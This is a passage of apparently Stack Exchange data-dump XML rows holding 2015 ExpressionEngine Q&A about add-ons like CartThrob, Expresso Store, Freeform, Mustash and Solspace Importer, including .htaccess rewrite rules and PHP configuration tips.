member_id   card_id coupon_id   plan_id voucher_id  entry_id    recurring_interval  recurring_interval_count    amount  total_amount    total_cycles    status  renew   trial_starts_at trial_ends_at   retry_count retry_date  shipping_name   shipping_address1   shipping_address2   shipping_address3   shipping_city   shipping_state  shipping_zip    shipping_country    notes   test_mode   created_by  updated_by  canceled_by next_billing_at last_billed_at  ended_at    canceled_at expires_at  created_at  updated_at  deleted_at&#xA;1   95e2e26a-26de-49cc-80f2-9ef01cc8f918    884 1   NULL    1   NULL    NULL    year    1   5000    5000    1   active  0   NULL    NULL    0   NULL    0   0   0       0   0   0   0   NULL    1   NULL    NULL    NULL    NULL    NULL    NULL    NULL    NULL    2/27/2015 13:59 2/27/2015 13:59 NULL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2015-08-21T17:59:38.797" Title="DevDemon Subscriptions - Creating an import for CSV from legacy site" Tags="|devdemon|subscriptions|devdemon-subscriptions|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32771" PostTypeId="1" AcceptedAnswerId="32777" CreationDate="2015-08-21T19:01:54.800" Score="0" ViewCount="44" Body="&lt;p&gt;We are evaluating CartThrob for a client's site that has some quirky requirements for recurring charges and the timing of these charges. I'm trying to figure out if CartThrob can provide the necessary functionality, be adapted to meet the requirements, or connect to a payment gateway that has these built in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Client is selling a product that requires a deposit of $X amount and subsequent installment payments of $Y amount (installment payments are all equal). The deposit must be charged right away, and the installment payments must be charged on the 1st or 15th of the month (recurring monthly for a few months) for accounting reasons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the docs, it appears CT (using CT Subscriptions) would allow for the $X deposit to be treated as a trial subscription and the $Y installments to be a set number of rebillings (e.g., 1x per month for 4 total_occurrences). I see that we can set the start date of the subscription; however, I do not see a way to have the trial billed immediately but have the rebillings occur on a different date of the month. (Client is not willing to wait until 1st of 15th to charge deposit.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this 'out of the box', or could something simple be coded to update the rebilling date after the deposit is received? We really appreciate any input on this ... and thank you Vector for acquiring CT!&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2015-08-22T00:34:33.303" Title="CartThrob - Deposit &amp; Installment Payments with special timing" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32772" PostTypeId="1" AcceptedAnswerId="32795" CreationDate="2015-08-21T19:02:31.043" Score="0" ViewCount="66" Body="&lt;p&gt;I'm running Store 2.5.1 and EE 2.10.1. (Building locally.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{exp:store:cart}&lt;/code&gt; isn't displaying anything and the system doesn't seem to be adding products to the cart. The &lt;code&gt;{exp:store:checkout}&lt;/code&gt; also turns up blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there's no &lt;code&gt;exp_store_carts&lt;/code&gt; table in my DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what could be causing this or how to fix.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2015-08-24T18:14:40.127" Title="Expresso Store not adding products &amp; no exp_store_carts table" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32773" PostTypeId="2" ParentId="32765" CreationDate="2015-08-21T20:26:17.023" Score="0" Body="&lt;p&gt;There is not a way currently to set the shipping type per product in Store. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have two options really. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could modify the current USPS plugin to allow for selection of both Flat Rate boxes and normal shipping boxes with some logic that would default to flat rate for items that would fit into flat rate boxes. Then larger items would calculate based upon the normal boxes for the correct shipping cost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tested this but you should also be able to duplicate the USPS gateway file with a slightly different name then rename all of the classes to match and then you would be able to setup both gateways separately for flat rate and normal boxes.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-08-21T20:26:17.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32774" PostTypeId="2" ParentId="32772" CreationDate="2015-08-21T20:34:28.553" Score="1" Body="&lt;p&gt;If the carts table is missing from your install I would uninstall Store and reinstall Store. You should also be able to open up (if I am remember correctly) &lt;code&gt;third_party/store/config/scheme.php&lt;/code&gt; to get the columns name/type/length/default values for the cart table and add it manually.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2015-08-21T20:34:28.553" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32775" PostTypeId="1" AcceptedAnswerId="32916" CreationDate="2015-08-21T22:31:07.293" Score="1" ViewCount="5927" Body="&lt;p&gt;I have a &lt;a href=&quot;http://southernlivingplants.com/resources/image-gallery&quot; rel=&quot;nofollow&quot;&gt;gallery page&lt;/a&gt; that lists medium and high resolution images of plants that users can download. However, the default behavior of a jpeg image inside an href is to open in the browser window. For these specific links I would like users to be able to download the image when clicking on the link instead of having to open the image in the browser and then save it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;topic-links&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;topic col-sm-4 col-md-4&quot;&amp;gt;&#xA;  &amp;lt;img src=&quot;{gallery_thumb}&quot; alt=&quot;temp_square-tn&quot; width=&quot;220&quot; height=&quot;200&quot;&amp;gt;&#xA;  &amp;lt;h6&amp;gt;{exp:char_limit total=&quot;30&quot; exact=&quot;no&quot;}{title}{/exp:char_limit}&amp;lt;/h6&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    {if medium_res != &quot;&quot;}&amp;lt;a href=&quot;{medium_res}&quot;&amp;gt;Medium&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;{/if}&#xA;    {if high_res != &quot;&quot;}&amp;lt;a href=&quot;{high_res}&quot;&amp;gt;Large&amp;lt;/a&amp;gt;{/if}&#xA;  &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/a&amp;gt;&#xA; &amp;lt;/div&amp;gt;&amp;lt;!-- /.topic --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- /.topic-links --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is the best way to force a download?&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-09-18T05:30:14.193" Title="How do I force a jpeg image to download instead of open in a browser window?" Tags="|php|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32776" PostTypeId="2" ParentId="32775" CreationDate="2015-08-22T00:15:34.123" Score="0" Body="&lt;p&gt;This is not possible. The browser chooses how to handle these files, and that is client side. That's why &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Right click to download&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is a thing. A user would have to configure their browser or use a third party browser addon to do this. Sorry, chief.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you force the mime type, it's possible. But to do it selectively will require (if possible) some serious hacks, I'm betting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.timewasters-place.com/how-to-force-file-downloading-with-htaccess/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.timewasters-place.com/how-to-force-file-downloading-with-htaccess/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; on my way to a party on a train, so I'm bored, lol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could make a custom module that you link to, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to address: &lt;code&gt;domain.com/?ACT=123&amp;amp;imagepath=images/myimage.jpg&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And in your module, use this answer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/1851849/output-an-image-in-php&quot;&gt;https://stackoverflow.com/questions/1851849/output-an-image-in-php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And throw an &lt;code&gt;exit()&lt;/code&gt; after. I don't know, killing time on the train! Hopefully leads you in a successful direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Last Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.imagejpeg.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://php.net/manual/en/function.imagejpeg.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set your header for the octet/stream header, then try that function! I don't get paid enough :p&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2015-08-22T00:50:23.590" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32777" PostTypeId="2" ParentId="32771" CreationDate="2015-08-22T00:34:33.303" Score="1" Body="&lt;p&gt;(I lead Development at Vector; thanks for your kind words!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could do this pretty easily with an extension that uses CartThrob's hooks-- basically your idea of &lt;code&gt;&quot;something simple be coded to update the rebilling date after the deposit is received&quot;&lt;/code&gt;. I have to think about a good way to do it natively, which might be possible using some combination of a single-purchase item and a subscription item with the multi-add to cart tag. I can get back to you on that. But regardless, it's doable with the hooks without much trouble (and we can help you write this if you're not comfortable doing it yourself. Just submit a contact request: &lt;a href=&quot;https://www.cartthrob.com/support/index.php?pg=request&quot; rel=&quot;nofollow&quot;&gt;https://www.cartthrob.com/support/index.php?pg=request&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-08-22T00:34:33.303" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32778" PostTypeId="2" ParentId="32040" CreationDate="2015-08-22T02:03:26.953" Score="1" Body="&lt;p&gt;We often change most or all of our tables to InnoDB on our highest traffic sites. The absolute safest thing would be to take the site offline before doing it. That said, we have done it live before and not had an issue except a few seconds of unresponsiveness. I'd strongly suggest taking a backup first though. &lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-08-22T02:03:26.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32779" PostTypeId="1" CreationDate="2015-08-22T11:16:08.527" Score="0" ViewCount="48" Body="&lt;p&gt;When trying to login I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;Error Number: 1142&#xA;INSERT command denied to user 'ID121723_herbaco'@'79.174.131.25' for table 'exp_security_hashes'&#xA;INSERT INTO `exp_security_hashes` (`date`, `hash`, `session_id`) VALUES (1440241989,'d89e683a2775a41b7d75cb9ef4de58e06d431d5c',0)&#xA;Filename: core/EE_Security.php&#xA;Line Number: 237&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone have any idea? Site uses Cartthrob but I have no idea if that's the culprit. Any insight much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2016-05-31T13:47:32.087" Title="Cartthrob DB error" Tags="|cartthrob|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32780" PostTypeId="2" ParentId="32779" CreationDate="2015-08-22T13:35:15.397" Score="0" Body="&lt;p&gt;I don't think this is related to CartThrob, because that table is part of the EE default tables. I've seen this before when exp_security_hashes is corrupted. Can you (or your host) try repairing it?&lt;/p&gt;&#xA;" OwnerUserId="376" LastActivityDate="2015-08-22T13:35:15.397" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32784" PostTypeId="1" AcceptedAnswerId="32785" CreationDate="2015-08-23T16:52:53.393" Score="0" ViewCount="37" Body="&lt;p&gt;Is it possible to use a segment as a Freeform input field value? Essentially, something like this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{freeform:field:name attr:placeholder=&quot;Name&quot; attr:value=&quot;{segment_3}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know I could just do a hidden input, but I want to suggest the value and allow the user to modify it if it's wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-08-23T17:46:06.980" Title="Solspace Freeform Pro - Add value to field using segment" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32785" PostTypeId="2" ParentId="32784" CreationDate="2015-08-23T17:46:06.980" Score="0" Body="&lt;pre&gt;&lt;code&gt;{freeform:field:first_name default_value=&quot;{segment_2}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/freeform/form/#freeform_field_field_name&quot; rel=&quot;nofollow&quot;&gt;https://solspace.com/docs/freeform/form/#freeform_field_field_name&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dwam. There be your answer. Tested on &lt;code&gt;EE 2.10.1&lt;/code&gt; and &lt;code&gt;FreeForm 4.2.2&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-23T17:46:06.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32786" PostTypeId="1" CreationDate="2015-08-23T18:02:21.650" Score="0" ViewCount="20" Body="&lt;p&gt;Is there a way using Solspace Importer, or one of the other data tools, to only update the email field of a member IF it hasn't been updated manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have a client website built on EE (2.8.1) with 5,000+ members. Member profiles are created using a CSV from a database that sits onsite at the client office. It is transferred via SFTP to our server and imported via Solspace Importer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;About 30% of the profiles include an email address. The rest are imported using a default formula. On initial login, the members without an email on file are required to enter an email address. They are validated as members by member number, contract number, etc. We do not write back to the client database. This all works fine now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This now creates a problem during updates. We will run the CRON job each night. Several custom and default member fields needs to be updated as appropriate by the client database, except Email. So members that provide an email address on the website have their update overwritten nightly by the client database. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to protect the &quot;new&quot; email address so it isn't overwritten by the default Importer behavior? I may be missing something very simple here ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts or suggestions would be appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="6597" LastActivityDate="2015-08-23T18:02:21.650" Title="Protecting Profile Email after initial Solspace Importer update" Tags="|solspace-importer|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32788" PostTypeId="1" AcceptedAnswerId="32811" CreationDate="2015-08-24T07:52:30.520" Score="0" ViewCount="2191" Body="&lt;p&gt;I've being trying to increase the &lt;code&gt;max_execution_time&lt;/code&gt; php variable for an EE site (EE 2.6.1, FastCGI on php 5.4.44, running on SiteGround's Managed Cloud hosting with cPanel) but it's not updating the local value, currently only 300. Only the global value changes to 800. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I see in EE's CP &gt; Tools &gt; Utilities &gt; PHP Info&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4922r.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4922r.png&quot; alt=&quot;EE CP PHP Info &quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whereas another php info file that sits in the webroot for the site shows this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xmPw3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xmPw3.png&quot; alt=&quot;PHP Info in webroot directory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using cPanel's PHP Variable Manager, I've increased the &lt;code&gt;memory_limit&lt;/code&gt; and &lt;code&gt;max_input_vars&lt;/code&gt; without issue: both the local and global values change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My host's support say that it's an EE &quot;thing&quot;. But I've never come across anything of the sort. How do I get the &lt;code&gt;max_execution_time&lt;/code&gt; already set as a global value to be honoured by EE?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers?&lt;/p&gt;&#xA;" OwnerUserId="658" LastActivityDate="2015-08-25T17:19:23.203" Title="PHP.ini max_execution_time setting not being honoured by EE" Tags="|php|server|php.ini|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32789" PostTypeId="1" AcceptedAnswerId="32804" CreationDate="2015-08-24T09:56:22.223" Score="0" ViewCount="36" Body="&lt;p&gt;I have the opposite problem to many: When I use &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;the official method to remove index.php&lt;/a&gt; and then enter an invalid url/template group, e.g.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.example.com/blahblah&quot; rel=&quot;nofollow&quot;&gt;http://www.example.com/blahblah&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I &lt;strong&gt;do not&lt;/strong&gt; get a 404 error, instead the most recently added page is shown.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's my setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.9.2&lt;/li&gt;&#xA;&lt;li&gt;Strict URLs are enabled.&lt;/li&gt;&#xA;&lt;li&gt;The correct 404 template  is set.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Because most have the inverse situation I could not find much to help me debug this issue. If I delete the code that removes index.php I get a 404 as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers are greatly appreciated. Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3772" LastActivityDate="2015-08-25T07:41:01.123" Title="Removing index.php gives *no* 404 errors for wrong template groups" Tags="|404|index.php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32790" PostTypeId="1" AcceptedAnswerId="34097" CreationDate="2015-08-24T12:42:15.677" Score="3" ViewCount="162" Body="&lt;p&gt;How could I go about removing and regenerating all URL titles for a specific channel? I did so once in the past, but unfortunately I have misplaced the query that was provided to me.&lt;/p&gt;&#xA;" OwnerUserId="352" LastActivityDate="2015-09-20T18:00:09.507" Title="Removing &amp; regenerating url titles?" Tags="|url-title|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32791" PostTypeId="2" ParentId="32788" CreationDate="2015-08-24T13:40:50.960" Score="1" Body="&lt;p&gt;Roll this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://php.net/manual/en/function.ini-set.php&quot; rel=&quot;nofollow&quot;&gt;http://php.net/manual/en/function.ini-set.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into your main index.php file, and set your &lt;code&gt;max_execution_time&lt;/code&gt; via that method. It only sets it for that script execution, so you may have to put it in your &lt;code&gt;system&lt;/code&gt; index.php file as well, depending on your use case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This really isn't an EE thing (unless someone manually set it like how I'm suggesting you fix it), so your host is being incompetent. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ini_set('max_execution_time', '800');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-24T13:40:50.960" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32792" PostTypeId="1" CreationDate="2015-08-24T14:14:06.260" Score="0" ViewCount="23" Body="&lt;p&gt;I have Forum Subscribe installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I log in as a member and click subscribe it just goes to an ACT URL and then if I go back it says I am subscribed, however if I then login to another account and post into the forum that I subscribed to the member does not get a notification?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on this please?&lt;/p&gt;&#xA;" OwnerUserId="3335" LastActivityDate="2015-08-24T14:14:06.260" Title="Dev Demon Forum Subscribe" Tags="|devdemon|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32793" PostTypeId="1" AcceptedAnswerId="32802" CreationDate="2015-08-24T15:04:00.910" Score="0" ViewCount="49" Body="&lt;p&gt;I had to remove and reinstall Solspace tags to fix what I thought was a bug it was causing, and in the process lost all the associated data. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Luckily it was just on a dev server, but I want to add in the data from another mysql database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way of importing the data and settings using something like Solspace Importer?&lt;/p&gt;&#xA;" OwnerUserId="3602" LastActivityDate="2015-08-25T04:26:09.367" Title="Solspace Tags - Import Data" Tags="|solspace|tags|solspace-importer|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32794" PostTypeId="1" CreationDate="2015-08-24T18:08:09.417" Score="0" ViewCount="53" Body="&lt;p&gt;I have a form with an input field.  The form works fine as long as someone submits an email with a tld (e.g., john@example.com).  Unfortunately, we need it to be able to accept emails for local domains too (e.g., john@localdomain).  If someone submits that as an email address, Freeform doesn't submit the data and, instead, just redirects to domain.com/undefined which, we assume, is due to some specific error.  We tried to add error_page=&quot;form/error&quot; to the Freeform call which should pull up our error page template.  I know the template exists, because pulling up domain.com/form/error pulls up the unparsed template, yet Freeform instead just hangs on submit.  The &quot;Submit&quot; button gets &quot;visibility:hidden&quot; applied to it, but then it just sits there and nothing happens.  Any ideas how to fix this issue or what could be causing it?&lt;/p&gt;&#xA;" OwnerUserId="6598" LastActivityDate="2015-08-24T18:08:09.417" Title="Freeform won't accept email addresses without .tld and breaks error_page" Tags="|solspace-freeform|solspace|error|email|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32795" PostTypeId="2" ParentId="32772" CreationDate="2015-08-24T18:14:40.127" Score="0" Body="&lt;p&gt;Finally got this working. Had to save settings to ensure that the cart would work. That, and had to correct a bit of code on the cart/checkout page to get it working right.&lt;/p&gt;&#xA;" OwnerUserId="132" LastActivityDate="2015-08-24T18:14:40.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32797" PostTypeId="1" CreationDate="2015-08-25T00:08:51.853" Score="0" ViewCount="24" Body="&lt;p&gt;I create an image and upload it to the server under a name, say Test Graphic A. Then inside WYGWAM, I click the picture icon, and choose Test Graphic A from the server. Everything is okay at that point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I correct a mistake in Table Graphic A in Photoshop, and use File Manager to delete it from the server, and then I upload the corrected version under the same file name, i.e., Test Graphic A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, I go to WYGWAM and delete the old Test Graphic A, click the picture icon and choose (the corrected) Test Graphic A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, WYGWAM continues to use the old Test Graphic A. The only way I have found around the issue is to rename the corrected version, upload it again, and place it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shouldn't be necessary. What am I doing wrong? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="6533" LastActivityDate="2016-05-31T23:02:33.260" Title="WYGWAM caching images?" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32798" PostTypeId="1" CreationDate="2015-08-25T00:18:46.410" Score="1" ViewCount="165" Body="&lt;p&gt;I'm using Stash's static cache on a site and have wrapped my Freeform tags in &lt;code&gt;{stash:nocache}&lt;/code&gt; but whenever I try to submit a form, I get taken to a page like /?ACT=XX with the error &lt;em&gt;No input file specified&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;stash_file_sync&lt;/code&gt; is set to false and I'm using the .htaccess rules printed out in the CP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#################################################################################&#xA;# START MUSTASH STATIC CACHE RULES &#xA;&#xA;# -------------------------------------------------------------------------------&#xA;# default_site&#xA;# -------------------------------------------------------------------------------&#xA;&#xA;# Exclude image files&#xA;RewriteCond $1 !\.(gif|jpe?g|png|ico)$ [NC]&#xA;&#xA;# We only want GET requests&#xA;RewriteCond %{REQUEST_METHOD} GET&#xA;&#xA;# Exclude CSS/ACT EE URLs and 'preview'&#xA;RewriteCond %{QUERY_STRING} !^(css|ACT|URL|preview)&#xA;&#xA;# Uncomment this if you want to disable static caching for logged-in users&#xA;#RewriteCond %{HTTP_COOKIE} !exp_sessionid [NC]&#xA;&#xA;# Remove index.php from conditions&#xA;RewriteCond $1 ^(index.php/)*(.*)(/*)$&#xA;&#xA;# Check if cached index.html exists&#xA;RewriteCond ../static_cache/1/$2/index.html (.*\.(.*))$&#xA;RewriteCond %1 -f&#xA;&#xA;# Rewrite to the cached page&#xA;RewriteRule ^(index.php/*)*(.*)(/*) /static_cache/1/$2/index.%2 [L]&#xA;&#xA;# END MUSTASH STATIC CACHE RULES&#xA;#################################################################################&#xA;&#xA;# Removes index.php from ExpressionEngine URLs&#xA;RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;# Directs all EE web requests through the site index file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Each template looks similar to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed&#xA;  name=&quot;home&quot;&#xA;  file_name=&quot;views:home&quot;&#xA;  process=&quot;static&quot;&#xA;  context=&quot;@URI&quot;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, is anyone using Mustash but not getting a main menu item which gives you access to create cache-breaking rules? I can access different settings by navigation to the Mustash module or extension, but that doesn't give me a link to create cache-breaking rules.&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2015-08-25T09:12:09.383" Title="Stash static cache and Freeform" Tags="|solspace-freeform|stash|cache|mustash|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32799" PostTypeId="2" ParentId="32798" CreationDate="2015-08-25T00:39:18.623" Score="0" Body="&lt;p&gt;Try commenting out this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} !^(css|ACT|URL|preview)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-08-25T00:39:18.623" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32800" PostTypeId="2" ParentId="32797" CreationDate="2015-08-25T00:45:35.493" Score="0" Body="&lt;p&gt;Are you using EE caching or a third-party plugin for caching, or a caching service like CloudFlare? And are you making sure your local browser is set to never cache pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Caching issues almost always breakdown to a cache set not breaking. You should make sure all of your caches are cleared. WYGWAM is &lt;strong&gt;not&lt;/strong&gt; caching your files, so the issue is systemic to a different caching solution that is currently working. Update with some answers to my question and I can expand.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-08-25T00:45:35.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32801" PostTypeId="1" CreationDate="2015-08-25T04:05:39.387" Score="0" ViewCount="24" Body="&lt;p&gt;We've built a custom report for a customer using Espresso Store2, And we'd like to add the ability to allow the the user to select a start and end date to filter orders. Is this possible using expresso store alone, or do we need to also make use of a third party plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="1380" LastActivityDate="2015-08-25T04:05:39.387" Title="Espresso Store - How to build a list of orders between two dates?" Tags="|expresso-store|expresso|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32802" PostTypeId="2" ParentId="32793" CreationDate="2015-08-25T04:26:09.367" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://solspace.com/docs/importer/&quot; rel=&quot;nofollow&quot;&gt;Solspace Importer&lt;/a&gt; can import Solspace Tags. What you would actually be doing is updating entries, with the update being these tags. You will need something to detect the currently existing entries in your EE installation however, such as an entry title for example. Importer would then be able to detect the existing entry in your system, and apply the tags to the corresponding entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the tags are in one data &quot;field&quot; in your file, eg. a CSV cell, an XML node, etc. Tags will need to be delimited with a character, such as a comma.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2015-08-25T04:26:09.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
